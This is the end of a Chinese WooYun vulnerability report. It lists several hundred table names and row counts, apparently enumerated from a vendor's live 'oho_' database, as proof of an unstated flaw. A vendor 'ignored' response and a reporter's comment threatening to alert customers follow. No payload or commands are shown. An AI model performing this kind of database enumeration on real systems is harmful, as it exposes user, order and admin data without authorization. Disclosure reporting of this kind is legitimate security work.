| oho_shop_goods_attr | 1651 |
| oho_saveblock | 1644 |
| oho_sites_image | 1637 |
| oho_t_uploadfiles | 1624 |
| oho_card_sms_log | 1433 |
| oho_mad_comment | 1431 |
| oho_colonys_photo | 1419 |
| oho_sort_company_bus | 1360 |
| oho_shop_cart | 1354 |
| oho_adfiles | 1229 |
| oho_shop_order_info | 1224 |
| oho_rzw_goods | 1219 |
| oho_t_uploadcomics | 1154 |
| oho_sort_sms_log | 963 |
| oho_shop_order | 900 |
| oho_hotel_order_alert | 899 |
| oho_mad_files | 892 |
| oho_sort_admin | 883 |
| oho_s_groups_style | 792 |
| oho_dg_qy | 714 |
| oho_link_cat | 696 |
| oho_dg_pp_qy | 680 |
| oho_t_vote_con | 676 |
| oho_shop_keywords | 652 |
| oho_dg_pp | 640 |
| oho_borderlist | 581 |
| oho_borderlist_copy | 573 |
| oho_food_goods | 553 |
| oho_hotel_room_new | 552 |
| oho_smss | 550 |
| oho_card_shop_admin | 504 |
| oho_s_groups | 502 |
| oho_sites_con | 474 |
| oho_titlelist | 459 |
| oho_saveset | 451 |
| oho_sort_company_line | 428 |
| oho_shop_brand | 415 |
| oho_sort_comment_report | 410 |
| oho_sort_fav | 400 |
| oho_t_message_board | 380 |
| oho_hotel_room | 362 |
| oho_sort_sweet_send | 361 |
| oho_card_goods | 355 |
| oho_savemod | 353 |
| oho_sort_want | 347 |
| oho_sort_bonus_cat | 344 |
| oho_shop_goods_attribute | 341 |
| oho_sort_has | 340 |
| oho_custom_cid | 339 |
| oho_shop_user_address | 330 |
| oho_sort_group_order | 315 |
| oho_kf_company | 313 |
| oho_sort_company_special | 306 |
| oho_wx_sites | 306 |
| oho_shop_order_action | 301 |
| oho_test_q_result_value | 295 |
| oho_sort_comment_product | 292 |
| oho_mobile_code | 288 |
| oho_hotel_list | 283 |
| oho_map_data | 281 |
| oho_sites_page | 281 |
| oho_kf_user | 267 |
| oho_weibo_shaihuo | 267 |
| oho_kf_department | 262 |
| oho_shop_collect_goods | 262 |
| oho_bind_userinfo | 258 |
| oho_t_uploadvod | 256 |
| oho_shop_book | 253 |
| oho_sort_m_company | 253 |
| oho_party_members | 247 |
| oho_sitethemes | 246 |
| oho_weibo_at | 244 |
| oho_sort_group | 241 |
| oho_t_zhuanti | 237 |
| oho_menu_dock | 233 |
| oho_sort_card_mobile | 227 |
| oho_food_store | 215 |
| oho_payment | 202 |
| oho_room_state | 201 |
| oho_shop_goods_volume_price | 194 |
| oho_jwj_database | 188 |
| oho_hotel_book_log | 186 |
| oho_t_theme | 182 |
| oho_test_result | 182 |
| oho_t_vote | 178 |
| oho_test_time_report | 177 |
| oho_sort_search | 165 |
| oho_msg | 162 |
| oho_t_vote_member | 160 |
| oho_sort_group_voucher | 158 |
| oho_shipping | 157 |
| oho_sites_set | 157 |
| oho_sort_bonus_print | 157 |
| oho_card_goods_type | 156 |
| oho_rzw_designer | 154 |
| oho_sites_cat | 154 |
| oho_card_money | 148 |
| oho_mad_files_list | 148 |
| oho_food_store_kitchen | 147 |
| oho_super_user_address | 134 |
| oho_shipping_area | 131 |
| oho_card_exchange | 130 |
| oho_1912_product | 129 |
| oho_card_type | 129 |
| oho_sort_company_account | 129 |
| oho_sort_bonus_fav | 125 |
| oho_test_q_report | 120 |
| oho_zxpp_loglist | 116 |
| oho_savepage | 114 |
| oho_ouke_group_invite | 112 |
| oho_savetitle | 111 |
| oho_hotel_feast_order | 108 |
| oho_hotel_feast | 106 |
| oho_food_store_desk | 105 |
| oho_forumcat | 105 |
| oho_tmp | 105 |
| oho_sort_shop_dl | 104 |
| oho_test_question | 104 |
| oho_s_group_permission_cat | 99 |
| oho_shop_delivery_goods | 99 |
| oho_ask_vote_log | 98 |
| oho_t_ohohelp | 98 |
| oho_bbs_topic_cat | 93 |
| oho_bbs | 91 |
| oho_shop_goods_type | 90 |
| oho_order_pay | 88 |
| oho_savemodsys | 88 |
| oho_menulist | 87 |
| oho_kf_message | 83 |
| oho_company_group | 80 |
| oho_group | 78 |
| oho_sites_menu | 78 |
| oho_wifi_mac | 78 |
| oho_hotel_comment | 77 |
| oho_savemult | 76 |
| oho_sort_super | 76 |
| oho_watermark_set | 76 |
| oho_shop_delivery_order | 75 |
| oho_hotel_feast_menu | 73 |
| oho_sales_paper_log | 73 |
| oho_credits_log | 72 |
| oho_book_order | 69 |
| oho_msg_log | 67 |
| oho_sitethemes_m | 67 |
| oho_1912_shops | 64 |
| oho_sort_lines_order | 64 |
| oho_party | 63 |
| oho_shop_comment_report | 63 |
| oho_goods_style | 62 |
| oho_sort_company_field | 61 |
| oho_group_notify | 59 |
| oho_sort_lines | 58 |
| oho_colonys_bs | 56 |
| oho_sort_group_require | 54 |
| oho_1912_book | 52 |
| oho_colonys_interview_user | 52 |
| oho_threads_faq | 51 |
| oho_msg_list | 48 |
| oho_sort_shop_main | 48 |
| oho_food_store_desk_area | 46 |
| oho_shop_link_goods | 45 |
| oho_t_department | 45 |
| oho_shop_group_goods | 44 |
| oho_sort_info_detail | 44 |
| oho_sort_info_list | 44 |
| oho_usergroups_permission | 42 |
| oho_sort_theme | 41 |
| oho_check_code | 40 |
| oho_dg_lc | 39 |
| oho_order_card | 39 |
| oho_t_uploadmusics | 39 |
| oho_cmembers | 36 |
| oho_home_wc_cat | 36 |
| oho_ouke_group | 36 |
| oho_sort_card | 36 |
| oho_usergroups_link | 36 |
| oho_food_store_man | 35 |
| oho_mad_usergroup | 34 |
| oho_sales_coupon_log | 34 |
| oho_sort_group_require_log | 34 |
| oho_dg_set | 32 |
| oho_hotel_card | 32 |
| oho_sso_user | 32 |
| oho_info_mod_field | 31 |
| oho_ouke_party_join | 31 |
| oho_sites_selcon | 31 |
| oho_sort_sweet | 30 |
| oho_company_industry | 29 |
| oho_sort_company_comment_reply | 28 |
| oho_company | 27 |
| oho_ouke_cat | 27 |
| oho_page_private | 27 |
| oho_sort_lines_price | 27 |
| oho_faq_cat | 26 |
| oho_dg_cat | 25 |
| oho_card_email_log | 24 |
| oho_colonys_interview | 24 |
| oho_zxpp_list | 24 |
| oho_shop_tag | 23 |
| oho_hotel_comment_report | 22 |
| oho_hotel_user_card | 22 |
| oho_t_leader | 22 |
| oho_ask_config | 20 |
| oho_membercredit | 20 |
| oho_sort_super_classify | 20 |
| oho_1912_activity_share | 19 |
| oho_cars_list | 19 |
| oho_sites_roll | 19 |
| oho_sort_dl | 19 |
| oho_super_order_info | 19 |
| oho_usergroups | 19 |
| oho_card_exchange_log | 18 |
| oho_test | 18 |
| oho_ceshi_theme | 17 |
| oho_cityshop | 17 |
| oho_ouke_list | 17 |
| oho_1912_category | 16 |
| oho_zxpp_sqlist | 16 |
| oho_ceshi_ask | 15 |
| oho_phone_list | 15 |
| oho_sort_company_config | 15 |
| oho_super_order | 15 |
| oho_test_day_report | 15 |
| oho_ouke_card | 14 |
| oho_ask_usergroup | 13 |
| oho_card_sms_task | 13 |
| oho_rzw_comments | 13 |
| oho_sales_coupon | 13 |
| oho_sort_info_field | 13 |
| oho_test_province_report | 13 |
| oho_car_fuwu | 12 |
| oho_t_message_board_num | 12 |
| oho_t_sysclass | 12 |
| oho_shop_exchange_goods | 11 |
| oho_sort_zhekou_fav | 11 |
| oho_zxpp_cat | 11 |
| oho_bbs_topic_report | 10 |
| oho_credits | 10 |
| oho_health_jilu | 10 |
| oho_sites_dibu | 10 |
| oho_sms_cat | 10 |
| oho_t_catid | 10 |
| oho_card_email_task | 9 |
| oho_ismember_weibo | 9 |
| oho_sales_paper | 9 |
| oho_shop_send_package | 9 |
| oho_test_relate | 9 |
| oho_card_field | 8 |
| oho_hotel_price | 8 |
| oho_sort_company_yftype | 8 |
| oho_sort_notice | 8 |
| oho_test_month_report | 8 |
| oho_zxpp_bbs | 8 |
| oho_info_list | 7 |
| oho_sitethemes_cat | 7 |
| oho_sort_company_ap | 7 |
| oho_sort_soft_admin | 7 |
| oho_sort_sweet_classify | 7 |
| oho_t_club | 7 |
| oho_usergroups_action | 7 |
| oho_1912_wxtivity | 6 |
| oho_car_order | 6 |
| oho_food_sender | 6 |
| oho_shop_spec_values | 6 |
| oho_sites_extramod | 6 |
| oho_sms_words_cat | 6 |
| oho_info_mod

漏洞证明:

如上……

修复方案:

我们的客户有一部分是重叠的,所以你懂得……别忽略……20RANK

版权声明:转载请注明来源 岛云首席鉴黄师@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-01-10 18:34

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评价

  1. 2016-01-12 10:51 | 岛云首席鉴黄师 ( 普通白帽子 | Rank:430 漏洞数:123 | icisaw.cn 超低价虚拟主机VPS 购买返现 支...)

    这特么都能忽略……也是醉了,贵厂对安全的态度让我大吃一惊,是时候向客户通告你们的漏洞了